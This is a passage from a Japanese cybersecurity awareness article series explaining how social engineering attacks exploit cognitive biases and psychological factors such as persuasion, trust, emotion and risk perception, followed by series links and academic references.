    認知バイアスは人間が判断を行う際に、判断のプロセスを省略し、簡略的な手段で結論を導き出すことが原因で起こります。プログラミング言語でもそうですが、簡略的な手段で得る結果には一定のエラーが混在します。エラーを前提としたフォローアップの行動やエラーを前提とした安全策、対策が用意されていればよいですが、そのままの結果を用いることで大きなミスを生むことがあります。つまり認知バイアスはソーシャルエンジニアリング攻撃に対する脆弱性なのです。

    認知バイアスにはソーシャルエンジニアリングに関連するものに限定しても以下のようなものがあります。

    認知バイアスの種類 概要
    フレーミング効果 情報の提示方法で判断がゆがめられる傾向
    アンカリング効果 最初に提示された情報に強く影響され、その後の判断がゆがめられる傾向
    確認バイアス 自身の信念・期待・希望を支持する情報を優先的に探し、解釈する傾向
    自己奉仕バイアス 成功を自身の能力などの内的要因に、失敗を状況など外的要因に帰属させる傾向
    エゴバイアス 特に経営層に見られる、自身の能力を過大評価しリスクを過小評価する傾向

    攻撃者はこのような認知バイアスを悪用して、被害者の思考プロセスや意思決定を操作しようと試みるのです。

    読者の皆さまも、普段から知識を身につけ意識を高めるために本記事を読まれているかと存じますが、残念ながら意識や一般的な技術知識のみでは必ずしも脆弱性を減少させない可能性があるともいわれています。これは実際には知識が不足しているケースが含まれるということもありますが、何よりも効果的な対策は無意識のレベルで安全な行動が習慣となっている必要があるとされているためです。

    心理的側面に関連する脆弱性

    認知機能に関連する脆弱性を踏まえたうえで、心理的側面からみた脆弱性をみてみましょう。

    説得

    • 被害者を攻撃者の意図通りに行動させるための手段で ソーシャルエンジニアリングの核心的な概念ともいえます
    • 権威性、信憑性しんぴょうせい、メッセージの質やアピール(文脈化、パーソナライゼーション、視覚的欺瞞ぎまん)によって被害者が説得されてしまうものです
    • なんらかの権限を持つ人や著名な企業に成りすますことで説得できることがわかっています

    信頼と欺瞞

    • 攻撃者は対面ではなくオンライン環境であることを踏まえたうえで、オンライン環境におけるユーザーの信頼レベルを悪用します
    • 攻撃者は親しい人物や評判の高い人物を装うなどして信頼を築こうとします

    感情

    • 感情は行動変化に強い影響を与えるため、ソーシャルエンジニアリング攻撃で頻繁に悪用されます
    • 不安感をあおったり、切迫感を演出したりすることで認知機能を低下させて攻撃の成功確率を高める場合、好奇心をあおることで秘密情報を聞き出す場合などがあります

    態度と行動

    • 計画行動理論のような人間の行動を予測する心理学モデルの要素が悪用されうる側面を刺します
    • 個人の性格特性、リスク認識、自己効力感、オンライン習慣がセキュリティ行動や攻撃に対する感受性に関連する可能性があるとされています

    リスク認識と疑念

    • オンライン脅威に対するリスク認識が高いほど脆弱性が低下する可能性があります
    • 説得の兆候を検出する能力や疑念を持つ姿勢が必ずしも被害を防げない場合もあります

    属性に関連する脆弱性

    以下の2属性は、比較的他の要因との組み合わせで脆弱性に影響を与える可能性があるとされています。

    1. 年齢
    2. 文化


    ―第2回「実例で解説!フィッシングメールの手口と対策」へ続く―

    【連載一覧】

    ―第2回「実例で解説!フィッシングメールの手口と対策」―
    ―第3回「Non-Human Identities Top 10とは?自動化時代に求められる新しいセキュリティ視点」―
    ―第4回「企業が実践すべきフィッシング対策とは?」―

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    「情報セキュリティ 10 大脅威」3 年連続ベスト 3 入り、ビジネスメール詐欺を防ぐ手立ては?

    【参考情報】

  • Rosana Montanez, Edward Golob,Shouhuai Xu (2022),”Human Cognition Through the Lens of Social Engineering Cyberattacks”,2025年6月5日閲覧, https://www.frontiersin.org/journals/psychology/articles/10.3389/fpsyg.2020.01755/full
  • Murtaza Ahmed Siddiqi,Wooguil Pak, Moquddam A. Siddiqi(2022),”A Study on the Psychology of Social Engineering-Based Cyberattacks and Existing Countermeasures”,2025年6月5日閲覧, https://www.mdpi.com/2076-3417/12/12/6042
  • Udochukwu Godswill David, Ayomide Bode-Asa (2023),”An Overview of Social Engineering: The Role of Cognitive Biases Towards Social Engineering-Based Cyber-Attacks, Impacts and Countermeasures”,2025年6月5日閲覧, https://www.researchgate.net/publication/376450802_An_Overview_of_Social_Engineering_The_Role_of_Cognitive_Biases_Towards_Social_Engineering-Based_Cyber-Attacks_Impacts_and_Countermeasures
  • Martin Lee, Cisco Talos Blog: The IT help desk kindly requests you read this newsletter, May 8, 2025
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